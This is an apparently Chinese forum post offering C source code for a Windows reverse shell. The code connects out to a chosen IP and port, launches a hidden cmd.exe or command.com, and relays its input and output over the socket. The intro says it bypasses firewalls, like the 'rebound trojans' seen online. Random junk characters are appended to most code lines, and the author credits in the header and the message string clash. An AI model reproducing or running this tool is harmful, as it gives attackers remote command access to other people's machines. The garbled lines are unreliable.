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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T;,cN7>>O  
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/* ============================== R~)\3] "2m  
Rebound port in Windows NT @7?#Y|`  
By wind,2006/7 DpUbzr41+k  
===============================*/ #7MUJY+ 9  
#include KTP8?Q"n0  
#include cUvz2TK  
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#pragma comment(lib,"wsock32.lib") ~y/ nlb!  
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void OutputShell(); *g6n  
SOCKET sClient; qWODs  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z@3i$8  
.w0s%T,8}^  
void main(int argc,char **argv) cUY`97bn  
{ M7@2^G]p  
WSADATA stWsaData; 8DegN,?  
int nRet; r]b_@hT',  
SOCKADDR_IN stSaiClient,stSaiServer; ~S8*t~  
P*I}yPeb  
if(argc != 3) EL(nDv  
{ =~=*&I4Dp  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3?1`D/  
return; ;i<|9{;  
} tE)suU5Y  
eD*A )  
WSAStartup(MAKEWORD(2,2),&stWsaData); P;Ga4Q.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X4 A<[&F/  
q U]gj@R  
stSaiClient.sin_family = AF_INET; kzt(i Y_6  
stSaiClient.sin_port = htons(0); zmSUw}-4 N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !*oi!ysU;O  
p$PKa.Y3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0cJWJOj&  
{ =Ur}~w&H8  
printf("Bind Socket Failed!\n"); uf&myV7  
return; [3{W^WSOz  
} &(xH$htv1  
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stSaiServer.sin_family = AF_INET; z7Q?D^miy  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !V i@1E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [Pq}p0cD  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yIDD@j=l  
{ \}p6v}  
printf("Connect Error!");  DX"xy  
return; p2DrEId  
} .ys6"V|31  
OutputShell(); 9983aFam  
} ?e,pN,4  
>h k=VyU;  
void OutputShell() e^<#53!  
{ QA5Qwe L  
char szBuff[1024]; %l,,_:7{  
SECURITY_ATTRIBUTES stSecurityAttributes; Aq0S-HKF  
OSVERSIONINFO stOsversionInfo; 5[* qi?w=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _Jme!Oaa  
STARTUPINFO stStartupInfo; v?& -xH-S  
char *szShell; 763v  
PROCESS_INFORMATION stProcessInformation; IHJ=i-  
unsigned long lBytesRead; oAPb*;}  
BV>\ McI+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .pN`;*7`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =gJb^ Gx(w  
stSecurityAttributes.lpSecurityDescriptor = 0; ,'p2v)p^4  
stSecurityAttributes.bInheritHandle = TRUE; $`z)~6'  
(UU(:/  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A7%:05  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UG'9*(*  
XVv K2(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5ZMR,SZhC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G|( ]bvJ?  
stStartupInfo.wShowWindow = SW_HIDE; \Dd-Xn_b  
stStartupInfo.hStdInput = hReadPipe; WC.t_"@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \hM|(*DL  
)FpZPdN+h  
GetVersionEx(&stOsversionInfo); U2ZD]q  
%=/)  
switch(stOsversionInfo.dwPlatformId) :&:JTa1cv  
{ >|twyb  
case 1: 2UFv9  
szShell = "command.com"; ad:&$  
break; /Rg*~Ers *  
default: .8P.)%  
szShell = "cmd.exe"; JvT"bZk( o  
break;  }(1JaG  
} ~fT_8z  
m<0&~rg   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qU#BJON]BR  
3 AsT  
send(sClient,szMsg,77,0); unBy&?&p  
while(1) {6~l$  
{ hNd}Y'%V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #@"<:!?z  
if(lBytesRead)  \o/n  
{ /6h(6 *JI  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CC@.MA@9N  
send(sClient,szBuff,lBytesRead,0); ?_Q/}@`  
} &&VqD w  
else \l.-eu'O  
{ w*|7!iM  
lBytesRead=recv(sClient,szBuff,1024,0); {WPobP"  
if(lBytesRead<=0) break; Qbyv{/   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Fm # w2o  
} r%.do;5  
} sRrzp=D  
9M1d%jT  
return; !ykx^z  
}
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